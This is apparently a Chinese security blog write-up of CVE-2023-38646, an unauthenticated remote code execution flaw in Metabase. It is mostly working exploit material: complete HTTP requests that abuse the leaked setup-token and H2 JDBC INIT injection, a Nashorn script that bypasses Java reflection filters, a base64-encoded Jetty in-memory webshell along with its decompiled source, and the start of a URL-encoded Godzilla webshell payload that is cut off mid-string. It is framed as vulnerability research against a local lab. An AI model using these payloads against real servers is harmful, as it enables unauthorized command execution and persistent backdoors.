October 1, 2023

CVE-2023-38646 Metabase未授权JDBC RCE

参考文章:
http://www.bmth666.cn/2023/08/18/CVE-2023-38646-Metabase-RCE/
https://xz.aliyun.com/t/12792#toc-2

环境搭建

直接选择jar包
https://downloads.metabase.com/v0.46.6/metabase.jar
然后java -jar xxx.jar
注意jdk版本必须大于或等于11,然后将依赖给引入。
然后即可开始调试分析了。

漏洞简介

该漏洞是由于Metabase未授权获取了token导致我们可以重置jdbc的url连接,我们可以进行H2 RCE来进一步利用。该漏洞始于一个未授权访问,根据github的diff可以发现
image.png
在新版本中删除了上一个版本中残余的setup-token,假如我们获取了token我们可以访问/validate路由对jdbc进行校验,而jdbc校验的时候就造成了JDBC注入,metabase是基于H2数据库的,所以利用面很广

漏洞分析

我们首先可以访问[http://localhost:3000/api/session/properties](http://localhost:3000/api/session/properties)获取setup-token
image.png
然后构造以下恶意包。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
POST /api/setup/validate HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: metabase.DEVICE=b4a0ad02-dacb-4b2a-a39d-cf6a2d613533
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 735

{
"token": "9b596984-8a65-48a6-9f3b-2561bfb2a052",
"details":
{
"is_on_demand": false,
"is_full_sync": false,
"is_sample": false,
"cache_ttl": null,
"refingerprint": false,
"auto_run_queries": true,
"schedules":
{},
"details":
{
"db": "zip:E:/CTFLearning/metabase.jar!/sample-database.db;MODE=MSSQLServer;",
"advanced-options": false,
"ssl": true,
"init": "CREATE TRIGGER shell1 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\u000A\u0009java.lang.Runtime.getRuntime().exec('calc')\u000A$$"
},
"name": "an-sec-research-team",
"engine": "h2"
}
}

image.png
进入了test-database-connection方法,携带参数details
image.png
其中可以利用URL的zip功能去加载db文件zip:E:/CTFLearning/metabase.jar!/sample-database.db;MODE=MSSQLServer;。metabase自带了一个h2的db文件,因此我们可以得以利用H2 RCE
image.png
可以看到metabase默认的数据库使用的是h2,我们可以操控其init参数造成注入
image.png
在这里提取INIT参数,接下来进行编译。
image.png
image.png
如果语句以//javascript开头就调用JavaScript引擎去编译语句。
image.png
可以看到js引擎是nashornScriptEngine,因此可以执行任意的java语句,包括加载内存马。
image.png
最后RCE成功。

漏洞绕过

我们之前了解过nodejs有关特性,其实在进行jdbc连接是时候有这么一个操作
image.png
这一段会移除init参数,但为啥我们还可以利用呢?
image.png
在这里压根没检测出init参数。假如检测出了,那也可以绕过,用unicode去绕

回显策略

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
try {
load("nashorn:mozilla_compat.js");
} catch (e) {}
function getUnsafe(){
var theUnsafeMethod = java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
theUnsafeMethod.setAccessible(true);
return theUnsafeMethod.get(null);
}
function removeClassCache(clazz){
var unsafe = getUnsafe();
var clazzAnonymousClass = unsafe.defineAnonymousClass(clazz,java.lang.Class.forName("java.lang.Class").getResourceAsStream("Class.class").readAllBytes(),null);
var reflectionDataField = clazzAnonymousClass.getDeclaredField("reflectionData");
unsafe.putObject(clazz,unsafe.objectFieldOffset(reflectionDataField),null);
}
function bypassReflectionFilter() {
var reflectionClass;
try {
reflectionClass = java.lang.Class.forName("jdk.internal.reflect.Reflection");
} catch (error) {
reflectionClass = java.lang.Class.forName("sun.reflect.Reflection");
}
var unsafe = getUnsafe();
var classBuffer = reflectionClass.getResourceAsStream("Reflection.class").readAllBytes();
var reflectionAnonymousClass = unsafe.defineAnonymousClass(reflectionClass, classBuffer, null);
var fieldFilterMapField = reflectionAnonymousClass.getDeclaredField("fieldFilterMap");
var methodFilterMapField = reflectionAnonymousClass.getDeclaredField("methodFilterMap");
if (fieldFilterMapField.getType().isAssignableFrom(java.lang.Class.forName("java.util.HashMap"))) {
unsafe.putObject(reflectionClass, unsafe.staticFieldOffset(fieldFilterMapField), java.lang.Class.forName("java.util.HashMap").getConstructor().newInstance());
}
if (methodFilterMapField.getType().isAssignableFrom(java.lang.Class.forName("java.util.HashMap"))) {
unsafe.putObject(reflectionClass, unsafe.staticFieldOffset(methodFilterMapField), java.lang.Class.forName("java.util.HashMap").getConstructor().newInstance());
}
removeClassCache(java.lang.Class.forName("java.lang.Class"));
}
function setAccessible(accessibleObject){
var unsafe = getUnsafe();
var overrideField = java.lang.Class.forName("java.lang.reflect.AccessibleObject").getDeclaredField("override");
var offset = unsafe.objectFieldOffset(overrideField);
unsafe.putBoolean(accessibleObject, offset, true);
}
function defineClass(){
var classBytes = "yv66vgAAADQBJwoAHACbCgBTAJwHAJ0KAAMAngoAnwCgCgCfAKEKABwAoggAggoAGgCjCgCkAKUKAKQApgcAgwgAeAgAdgcAfAgAdQkApwCoCgAaAKkKAKoAqwgArAoAGwCtCACuCgAaAK8KALAAsQgAsgcAswcAtAcAtQgAYwcAtgoAHgCbCAC3CgAeALgKAFMAuQoAHgC6CAC7CAC8BwC9CgAmAKsKACYAvggAvwgAwAoAGgDBCADCCADDCADECABvCADFCADGCADHBwDICgAbAMkKADMAygoAMwC+CADLCgAbAMwIAM0KAKcAzgoAGwDPCgAbANAIANEKABsA0ggA0wgA1AgA1QgA1ggA1wgA2AgA2QoA2gDbCgDaANwHAN0KAN4A3woASADgCADhCgBIAOIKAEgA4woASADkCgDeAOUKAN4A5goAAwC6CADnBwDoAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQARTHRvb2xzL0pldHR5RWNobzsBAA1TdGFja01hcFRhYmxlBwDoBwCdAQAGaW52b2tlAQAGbWV0aG9kAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAANjbWQBABJMamF2YS9sYW5nL1N0cmluZzsBAAZyZXN1bHQBAAtwcmludFdyaXRlcgEAFUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAC2h0dHBDaGFubmVsAQASTGphdmEvbGFuZy9PYmplY3Q7AQANX2NoYW5uZWxGaWVsZAEAGUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAA5odHRwQ29ubmVjdGlvbgEAD2Nvbm5lY3Rpb25GaWVsZAEAFXVuZGVybHlpbmdPdXRwdXRGaWVsZAEAEHVuZGVybHlpbmdPdXRwdXQBAAdyZXF1ZXN0AQAIcmVzcG9uc2UBAAxvdXRwdXRTdHJlYW0BABZMamF2YS9pby9PdXRwdXRTdHJlYW07AQAKdmFsdWVGaWVsZAEABXZhbHVlAQAFdGFibGUBABF0aHJlYWRMb2NhbHNGaWVsZAEADHRocmVhZExvY2FscwEACnRhYmxlRmllbGQBAAp0YWJsZVZhbHVlAQAGdGFibGVzAQATW0xqYXZhL2xhbmcvT2JqZWN0OwEABnRocmVhZAEAEkxqYXZhL2xhbmcvVGhyZWFkOwEABWdyb3VwAQAXTGphdmEvbGFuZy9UaHJlYWRHcm91cDsBAAFmAQAHdGhyZWFkcwEAE1tMamF2YS9sYW5nL1RocmVhZDsHAOkHAOoHAOsHALUBAApFeGNlcHRpb25zAQAEZXhlYwEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQABcwEAE0xqYXZhL3V0aWwvU2Nhbm5lcjsBAAZvdXRwdXQBAAJvcwEAB3Byb2Nlc3MBABNMamF2YS9sYW5nL1Byb2Nlc3M7AQAKZXhlY3V0ZUNtZAEAE1tMamF2YS9sYW5nL1N0cmluZzsHALQHAOwHAJIHAN0HALYHAO0BAApTb3VyY2VGaWxlAQAOSmV0dHlFY2hvLmphdmEMAFQAVQwAYABVAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwA7gBVBwDrDADvAPAMAPEA8gwA8wD0DAD1APYHAOoMAPcA+AwA+QD6BwD7DAD8AP0MAP4A/wcBAAwBAQECAQATQXN5bmNIdHRwQ29ubmVjdGlvbgwBAwEEAQAKZ2V0UmVxdWVzdAwBBQEGBwEHDABgAQgBAAlnZXRIZWFkZXIBAA9qYXZhL2xhbmcvQ2xhc3MBABBqYXZhL2xhbmcvU3RyaW5nAQAQamF2YS9sYW5nL09iamVjdAEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyAQABCgwBCQEKDACJAIoMAQsA/wEADmdldFByaW50V3JpdGVyAQAFdXRmLTgBABNqYXZhL2lvL1ByaW50V3JpdGVyDAEMAFUBAA5IdHRwQ29ubmVjdGlvbgEADmdldEh0dHBDaGFubmVsDAENAQYBAAtnZXRSZXNwb25zZQEACWdldFdyaXRlcgEAB0NoYW5uZWwBAAhfY2hhbm5lbAEABnRoaXMkMAEAD2dldE91dHB1dFN0cmVhbQEAFGphdmEvaW8vT3V0cHV0U3RyZWFtDAEOAQ8MARABEQEAAAwBEgETAQAHb3MubmFtZQwBFACKDAEVAP8MARYA/wEAA3dpbgwBFwEYAQAEcGluZwEAAi1uAQAFIC1uIDQBAAIvYwEABSAtdCA0AQACc2gBAAItYwcBGQwBGgEbDACJARwBABFqYXZhL3V0aWwvU2Nhbm5lcgcA7AwBHQEeDABUAR8BAAJcYQwBIAEhDAEiASMMASQA/wwBJQEeDAEmAFUBABBjb21tYW5kIG5vdCBudWxsAQAPdG9vbHMvSmV0dHlFY2hvAQAVamF2YS9sYW5nL1RocmVhZEdyb3VwAQAXamF2YS9sYW5nL3JlZmxlY3QvRmllbGQBABBqYXZhL2xhbmcvVGhyZWFkAQARamF2YS9sYW5nL1Byb2Nlc3MBABNqYXZhL2xhbmcvVGhyb3dhYmxlAQAPcHJpbnRTdGFja1RyYWNlAQANY3VycmVudFRocmVhZAEAFCgpTGphdmEvbGFuZy9UaHJlYWQ7AQAOZ2V0VGhyZWFkR3JvdXABABkoKUxqYXZhL2xhbmcvVGhyZWFkR3JvdXA7AQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEADXNldEFjY2Vzc2libGUBAAQoWilWAQADZ2V0AQAmKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQAHZ2V0TmFtZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAhlbmRzV2l0aAEAFShMamF2YS9sYW5nL1N0cmluZzspWgEACWdldE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRl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";
var bytes = java.util.Base64.getDecoder().decode(classBytes);
var clz = null;
var version = java.lang.System.getProperty("java.version");
var unsafe = getUnsafe();
var classLoader = new java.net.URLClassLoader(java.lang.reflect.Array.newInstance(java.lang.Class.forName("java.net.URL"), 0));
try{
if (version.split(".")[0] >= 11) {
bypassReflectionFilter();
defineClassMethod = java.lang.Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", java.lang.Class.forName("[B"),java.lang.Integer.TYPE, java.lang.Integer.TYPE);
setAccessible(defineClassMethod);
clz = defineClassMethod.invoke(classLoader, bytes, 0, bytes.length);
}else{
var protectionDomain = new java.security.ProtectionDomain(new java.security.CodeSource(null, java.lang.reflect.Array.newInstance(java.lang.Class.forName("java.security.cert.Certificate"), 0)), null, classLoader, []);
clz = unsafe.defineClass(null, bytes, 0, bytes.length, classLoader, protectionDomain);
}
}catch(error){
error.printStackTrace();
}finally{
return clz.newInstance();
}
}
defineClass();

最终payload如上,我们先反编译一下其中的内存马。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package tools;

import java.io.OutputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Scanner;

public class JettyEcho {
public JettyEcho() {
try {
this.invoke();
} catch (Exception var2) {
var2.printStackTrace();
}

}

public void invoke() throws Exception {
ThreadGroup group = Thread.currentThread().getThreadGroup();
Field f = group.getClass().getDeclaredField("threads");
f.setAccessible(true);
Thread[] threads = (Thread[])((Thread[])f.get(group));
Thread[] var4 = threads;
int var5 = threads.length;

for(int var6 = 0; var6 < var5; ++var6) {
Thread thread = var4[var6];

try {
Field threadLocalsField = thread.getClass().getDeclaredField("threadLocals");
threadLocalsField.setAccessible(true);
Object threadLocals = threadLocalsField.get(thread);
if (threadLocals != null) {
Field tableField = threadLocals.getClass().getDeclaredField("table");
tableField.setAccessible(true);
Object tableValue = tableField.get(threadLocals);
if (tableValue != null) {
Object[] tables = (Object[])((Object[])tableValue);
Object[] var13 = tables;
int var14 = tables.length;

for(int var15 = 0; var15 < var14; ++var15) {
Object table = var13[var15];
if (table != null) {
Field valueField = table.getClass().getDeclaredField("value");
valueField.setAccessible(true);
Object value = valueField.get(table);
if (value != null) {
System.out.println(value.getClass().getName());
Method method;
String cmd;
if (value.getClass().getName().endsWith("AsyncHttpConnection")) {
method = value.getClass().getMethod("getRequest", (Class[])null);
value = method.invoke(value, (Object[])null);
method = value.getClass().getMethod("getHeader", String.class);
String cmd = (String)method.invoke(value, "cmd");
cmd = "\n" + this.exec(cmd);
method = value.getClass().getMethod("getPrintWriter", String.class);
PrintWriter printWriter = (PrintWriter)method.invoke(value, "utf-8");
printWriter.println(cmd);
printWriter.flush();
return;
}

Object underlyingOutput;
if (value.getClass().getName().endsWith("HttpConnection")) {
method = value.getClass().getDeclaredMethod("getHttpChannel", (Class[])null);
underlyingOutput = method.invoke(value, (Object[])null);
method = underlyingOutput.getClass().getMethod("getRequest", (Class[])null);
value = method.invoke(underlyingOutput, (Object[])null);
method = value.getClass().getMethod("getHeader", String.class);
cmd = (String)method.invoke(value, "cmd");
String result = "\n" + this.exec(cmd);
method = underlyingOutput.getClass().getMethod("getResponse", (Class[])null);
value = method.invoke(underlyingOutput, (Object[])null);
method = value.getClass().getMethod("getWriter", (Class[])null);
PrintWriter printWriter = (PrintWriter)method.invoke(value, (Object[])null);
printWriter.println(result);
printWriter.flush();
return;
}

if (value.getClass().getName().endsWith("Channel")) {
Field underlyingOutputField = value.getClass().getDeclaredField("underlyingOutput");
underlyingOutputField.setAccessible(true);
underlyingOutput = underlyingOutputField.get(value);

Object httpConnection;
try {
Field _channelField = underlyingOutput.getClass().getDeclaredField("_channel");
_channelField.setAccessible(true);
httpConnection = _channelField.get(underlyingOutput);
} catch (Exception var27) {
Field connectionField = underlyingOutput.getClass().getDeclaredField("this$0");
connectionField.setAccessible(true);
httpConnection = connectionField.get(underlyingOutput);
}

Object request = httpConnection.getClass().getMethod("getRequest").invoke(httpConnection);
Object response = httpConnection.getClass().getMethod("getResponse").invoke(httpConnection);
String cmd = (String)request.getClass().getMethod("getHeader", String.class).invoke(request, "cmd");
OutputStream outputStream = (OutputStream)response.getClass().getMethod("getOutputStream").invoke(response);
String result = "\n" + this.exec(cmd);
outputStream.write(result.getBytes());
outputStream.flush();
return;
}
}
}
}
}
}
} catch (Exception var28) {
}
}

}

public String exec(String cmd) {
if (cmd != null && !"".equals(cmd)) {
String os = System.getProperty("os.name").toLowerCase();
cmd = cmd.trim();
Process process = null;
String[] executeCmd = null;
if (os.contains("win")) {
if (cmd.contains("ping") && !cmd.contains("-n")) {
cmd = cmd + " -n 4";
}

executeCmd = new String[]{"cmd", "/c", cmd};
} else {
if (cmd.contains("ping") && !cmd.contains("-n")) {
cmd = cmd + " -t 4";
}

executeCmd = new String[]{"sh", "-c", cmd};
}

String output;
try {
process = Runtime.getRuntime().exec(executeCmd);
Scanner s = (new Scanner(process.getInputStream())).useDelimiter("\\a");
output = s.hasNext() ? s.next() : "";
s = (new Scanner(process.getErrorStream())).useDelimiter("\\a");
output = output + (s.hasNext() ? s.next() : "");
String var7 = output;
return var7;
} catch (Exception var11) {
var11.printStackTrace();
output = var11.toString();
} finally {
if (process != null) {
process.destroy();
}

}

return output;
} else {
return "command not null";
}
}
}

image.png
目标环境是jetty11,所以和之前的jetty9有些许不同,还在摸索。

哥斯拉

这里我最终的payload如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
POST /api/setup/validate HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
x-client-data:cmd
Cookie: metabase.DEVICE=b4a0ad02-dacb-4b2a-a39d-cf6a2d613533; _ga=GA1.1.1767171371.1694851001; _gid=GA1.1.502142343.1694851001; _gat=1
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 17244

{
"token": "9b596984-8a65-48a6-9f3b-2561bfb2a052",
"details":
{
"is_on_demand": false,
"is_full_sync": false,
"is_sample": false,
"cache_ttl": null,
"refingerprint": false,
"auto_run_queries": true,
"schedules":
{},
"details":
{
"db": "zip:E:/CTFLearning/metabase.jar!/sample-database.db;MODE=MSSQLServer;",
"advanced-options": false,
"ssl": true,
"init": "CREATE TRIGGER shell3 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\u000A\u0009eval(decodeURIComponent('try%20%7B%0A%20%20load(%22nashorn%3Amozilla_compat.js%22)%3B%0A%7D%20catch%20(e)%20%7B%7D%0Afunction%20getUnsafe()%7B%0A%20%20var%20theUnsafeMethod%20%3D%20java.lang.Class.forName(%22sun.misc.Unsafe%22).getDeclaredField(%22theUnsafe%22)%3B%0A%20%20theUnsafeMethod.setAccessible(true)%3B%20%0A%20%20return%20theUnsafeMethod.get(null)%3B%0A%7D%0Afunction%20removeClassCache(clazz)%7B%0A%20%20var%20unsafe%20%3D%20getUnsafe()%3B%0A%20%20var%20clazzAnonymousClass%20%3D%20unsafe.defineAnonymousClass(clazz%2Cjava.lang.Class.forName(%22java.lang.Class%22).getResourceAsStream(%22Class.class%22).readAllBytes()%2Cnull)%3B%0A%20%20var%20reflectionDataField%20%3D%20clazzAnonymousClass.getDeclaredField(%22reflectionData%22)%3B%0A%20%20unsafe.putObject(clazz%2Cunsafe.objectFieldOffset(reflectionDataField)%2Cnull)%3B%0A%7D%0Afunction%20bypassReflectionFilter()%20%7B%0A%20%20var%20reflectionClass%3B%0A%20%20try%20%7B%0A%20%20%20%20reflectionClass%20%3D%20java.lang.Class.forName(%22jdk.internal.reflect.Reflection%22)%3B%0A%20%20%7D%20catch%20(error)%20%7B%0A%20%20%20%20reflectionClass%20%3D%20java.lang.Class.forName(%22sun.reflect.Reflection%22)%3B%0A%20%20%7D%0A%20%20var%20unsafe%20%3D%20getUnsafe()%3B%0A%20%20var%20classBuffer%20%3D%20reflectionClass.getResourceAsStream(%22Reflection.class%22).readAllBytes()%3B%0A%20%20var%20reflectionAnonymousClass%20%3D%20unsafe.defineAnonymousClass(reflectionClass%2C%20classBuffer%2C%20null)%3B%0A%20%20var%20fieldFilterMapField%20%3D%20reflectionAnonymousClass.getDeclaredField(%22fieldFilterMap%22)%3B%0A%20%20var%20methodFilterMapField%20%3D%20reflectionAnonymousClass.getDeclaredField(%22methodFilterMap%22)%3B%0A%20%20if%20(fieldFilterMapField.getType().isAssignableFrom(java.lan